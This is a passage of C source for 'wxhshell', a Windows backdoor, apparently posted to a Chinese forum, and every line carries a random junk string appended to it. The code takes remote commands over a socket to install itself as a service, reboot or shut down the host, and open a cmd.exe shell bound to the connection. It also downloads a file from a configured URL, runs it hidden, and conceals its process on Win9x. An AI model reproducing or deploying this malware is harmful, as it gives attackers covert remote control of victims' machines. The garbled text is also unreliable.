  }  ~mi4V  
  else { 3Z&!zSK^  
y%kZ##  
    switch(cmd[0]) { $z 5kA9  
  4fjwC,,  
  // 帮助 !H9^j6|  
  case '?': { DZ`m{l3H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z|ZB6gP>h1  
    break; uhp.Yv@c  
  } kY{$[+-jR  
  // 安装 lmL$0{Yr  
  case 'i': { # h4FLF_w  
    if(Install()) 3T4HX|rC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "dvo@n|  
    else 1KBGML-K3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W7!iYxO  
    break; )4c?BCgy  
    } c/v|e&q  
  // 卸载 \[^! ys  
  case 'r': { J.M&Vj:  
    if(Uninstall()) L/] (pXEp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<{Vgy  
    else !@N?0@$/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FoH1O+e  
    break; 1+XM1(|c`  
    } M6Np!0G  
  // 显示 wxhshell 所在路径 W g6H~x  
  case 'p': { `.3@Ki~$#  
    char svExeFile[MAX_PATH]; 57gt"f  
    strcpy(svExeFile,"\n\r"); dl6U]v=  
      strcat(svExeFile,ExeFile); Vp|?R65S*  
        send(wsh,svExeFile,strlen(svExeFile),0); ,c{ckm  
    break; &);P|v`8  
    } 6o(IL-0]c  
  // 重启 e6J^J&`|4  
  case 'b': { =y)K er  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9:-7.^`P  
    if(Boot(REBOOT)) zp<B,Ls  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); voN~f>  
    else { ZILJXX4  
    closesocket(wsh); >$E;."a  
    ExitThread(0); DZnqCu"J  
    } Ef28  
    break; Yv@n$W`:  
    } LbRQjwc]W  
  // 关机 )`R}@(r.  
  case 'd': { q` IY;"~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g3>>gu#0DC  
    if(Boot(SHUTDOWN)) 3Ke6lV)uq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z8JW iRn  
    else { -eyF9++`  
    closesocket(wsh); VwPoQ9pIS  
    ExitThread(0); S)j( %g  
    } $8%"bR;Hu  
    break; seBmhe5qR  
    } !|H,g wqU  
  // 获取shell ,1N|lyV   
  case 's': { ?Y,^Moc:  
    CmdShell(wsh); .'<K$:8@|  
    closesocket(wsh); .O5V;&,  
    ExitThread(0); 1Z @sh>X|  
    break; -mG`* 0  
  } F=1 #qo<?  
  // 退出 a{hc{  
  case 'x': { L-D4>+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $Vq5U9-  
    CloseIt(wsh); _O uNX.yrG  
    break; x"NQatdq  
    } bHv"!  
  // 离开 b&&l   
  case 'q': { 2*z~ 'i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6{1=3.CL  
    closesocket(wsh); ~a`[p\  
    WSACleanup(); T[k$[  
    exit(1); nf 8V:y4  
    break; 1Ng.Ukb  
        } S, AxrQc  
  } rVNx 2  
  } gI;"PkN  
'A7!@hVy  
  // 提示信息 D4 8e30  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9>S)*lU&s  
} `M6"=)twu  
  } _Ik?WA_;  
+?o!"SJ  
  return; ^py=]7[I  
} rBTg"^jsw  
:)lG}c  
// shell模块句柄 y2#>a8SRS  
int CmdShell(SOCKET sock) w>^(w<~Y  
{ B=a+cT  
STARTUPINFO si; -|#{V.G3'  
ZeroMemory(&si,sizeof(si)); m.m6.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j}ob7O&U'w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /x ?@M n>  
PROCESS_INFORMATION ProcessInfo; Intuda7e1  
char cmdline[]="cmd"; (6ga*5<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <.n,:ir  
  return 0; d/Q#Z  
} W<X3!zuKSg  
lK=Is v+  
// 自身启动模式 s"=TM$Vb  
int StartFromService(void) <@;}q^`  
{ @c]KHWI  
typedef struct ]|CcQ1#|H  
{ l&+O*=#Hh  
  DWORD ExitStatus; .Q!d[vL  
  DWORD PebBaseAddress; wBXa;.  
  DWORD AffinityMask; hi!A9T3%}M  
  DWORD BasePriority; s`bGW1#io  
  ULONG UniqueProcessId; h$'6."I  
  ULONG InheritedFromUniqueProcessId; M=Ze)X\E*'  
}   PROCESS_BASIC_INFORMATION; %(W&(eN  
q8d](MaX  
PROCNTQSIP NtQueryInformationProcess; K`K v.4  
i#*[, P~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; paIjXaU1Mb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3O2G+G2  
+s}&'V^  
  HANDLE             hProcess; l|WFS  
  PROCESS_BASIC_INFORMATION pbi; (uvQ/!  
w/*G!o- <  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a*5KUj6/TL  
  if(NULL == hInst ) return 0; D5c 8sB  
$^iio@SW{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %jjPs .  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ev;&n@k_I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2]mV9B   
=6dAF"b)  
  if (!NtQueryInformationProcess) return 0; ]%A> swCpn  
Ih:Q}V#6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pjs=n7  
  if(!hProcess) return 0; JW[6 ^Rw  
VEh9N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g&  e u  
GFdbwn5B  
  CloseHandle(hProcess); fG'~@'P~  
k 3m_L-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IADHe\.  
if(hProcess==NULL) return 0; XZKlE F?  
/Ot3[B  
HMODULE hMod; z='%NZY  
char procName[255]; <rE>?zvm  
unsigned long cbNeeded; i6KfH\{N  
z+yq%O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q|<B9Jk  
a|z-EKV  
  CloseHandle(hProcess); _dm0*T ?  
|qMG@  
if(strstr(procName,"services")) return 1; // 以服务启动 5c]:/9&  
ni2#20L  
  return 0; // 注册表启动  J| N 6r  
} '{2]:  
32 i6j  
// 主模块 *eoH"UFYQ#  
int StartWxhshell(LPSTR lpCmdLine) U}jGr=tu  
{ 1+Gq<]@G  
  SOCKET wsl; !*:g??[T  
BOOL val=TRUE; Eto"B"  
  int port=0; K2Abu?  
  struct sockaddr_in door; !=:>yWQ  
*gwaW!=  
  if(wscfg.ws_autoins) Install(); gw"cXny  
:o8`2Z*g  
port=atoi(lpCmdLine); b 5|*p(7[  
D@La-K*5  
if(port<=0) port=wscfg.ws_port; o5s6$\"  
Y|LL]@Lv  
  WSADATA data; QWOPCoUet  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Acw`ytV  
#4m5 I="  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "a[;{s{{.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >;4q  
  door.sin_family = AF_INET; &b#d4p6&l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Nx.9)MjI  
  door.sin_port = htons(port); J`5+Zngr  
m .(ja  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `$ f`55e  
closesocket(wsl); &5-1Cd E  
return 1; v,}C~L3  
} i$] :Y`3h  
*Vl#]81~  
  if(listen(wsl,2) == INVALID_SOCKET) { o>M^&)Xs  
closesocket(wsl); {nmu(E P  
return 1; !d()'N  
} q.=Q  
  Wxhshell(wsl); #[M^Q h  
  WSACleanup();  G06;x   
&$|~",  
return 0; #-YbZ  
: 2%eh  
} S Q:H2vvD  
F8?,}5j  
// 以NT服务方式启动 R_G2C@y*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~:JAWs$\V  
{ q,ie)`  
DWORD   status = 0; @\F7nhSfa  
  DWORD   specificError = 0xfffffff; R8[VD iM6E  
}T.>p#z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,5zY1C==Ut  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N>3{!K>/Y:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "&SE!3*m`I  
  serviceStatus.dwWin32ExitCode     = 0; sP^:*B0  
  serviceStatus.dwServiceSpecificExitCode = 0; >e!J(4.-  
  serviceStatus.dwCheckPoint       = 0; O83J[YuzjN  
  serviceStatus.dwWaitHint       = 0; 4Vi*Qa_,y  
)>h3IR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #tZ!D^GQHq  
  if (hServiceStatusHandle==0) return; B)7:*Kj  
?x ",VA  
status = GetLastError(); ~Zsj@d  
  if (status!=NO_ERROR) x3Cn:F  
{ yI8 O#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hvTc( 0;mB  
    serviceStatus.dwCheckPoint       = 0; s@~3L  
    serviceStatus.dwWaitHint       = 0; MX~h>v3_R4  
    serviceStatus.dwWin32ExitCode     = status; c),UO^EqV  
    serviceStatus.dwServiceSpecificExitCode = specificError; !jl^__ .DR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x=>dmi3  
    return; l1zPL3"u_^  
  } aT2%Az@j  
D A=LR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @;9KP6d  
  serviceStatus.dwCheckPoint       = 0; 4?@5JpC9VA  
  serviceStatus.dwWaitHint       = 0; @8J*vY =e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dKPXs-5  
} 9u=]D> kb  
y+BiaD!U  
// 处理NT服务事件,比如:启动、停止 >1Iw!SO+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rYPuo  
{ qK;J:GT>  
switch(fdwControl) YH^U "\}i  
{ % }b  
case SERVICE_CONTROL_STOP: d^?e*USh  
  serviceStatus.dwWin32ExitCode = 0; S~ckIN]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I@N/Y{y#  
  serviceStatus.dwCheckPoint   = 0; clqFV   
  serviceStatus.dwWaitHint     = 0; eY Rd#w  
  { T^8`ji  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6G4~-_  
  } hHMp=8J7  
  return;  1^hG}#6_  
case SERVICE_CONTROL_PAUSE: CiU^U|~'L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q.4+"JoG  
  break; ^,'KmZm=  
case SERVICE_CONTROL_CONTINUE: G| &$/]~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }5" Rj<  
  break; }rVLWt  
case SERVICE_CONTROL_INTERROGATE: hHEn  
  break; p&XuNk  
}; uG.`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  iU{\a,  
} NSRY(#3  
N^`S'FVA  
// 标准应用程序主函数 FzsW^u+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bneP>Bd  
{ $\oe}`#o  
IH=%%AS  
// 获取操作系统版本 Jk<b#SZ[b  
OsIsNt=GetOsVer(); \ 511?ik  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S="\S  
v~^*L iP+  
  // 从命令行安装 A9HgABhax  
  if(strpbrk(lpCmdLine,"iI")) Install(); /#x0?d {5  
BW`Tw^j  
  // 下载执行文件 's8LrO(=  
if(wscfg.ws_downexe) { O St~P^1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;M#D*<ucI:  
  WinExec(wscfg.ws_filenam,SW_HIDE); W}^>lM\8  
} KmF+3g~#s  
z[+pN:47  
if(!OsIsNt) { 8 =3#S'n  
// 如果时win9x,隐藏进程并且设置为注册表启动 QUdF`_U7  
HideProc(); ui*CA^ Y  
StartWxhshell(lpCmdLine); AIQ]lQ(  
} a^L'-(  
else 6:bvq?5a5  
  if(StartFromService()) P-N+  
  // 以服务方式启动 _l]rt  
  StartServiceCtrlDispatcher(DispatchTable); {M0pq3SL*t  
else w`Z@|A  
  // 普通方式启动 4mWT"T-8  
  StartWxhshell(lpCmdLine); "OKsl2e  
%X\rP,  
return 0; J}&xS<  
}
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只看该作者 1 发表于: 2006-10-10
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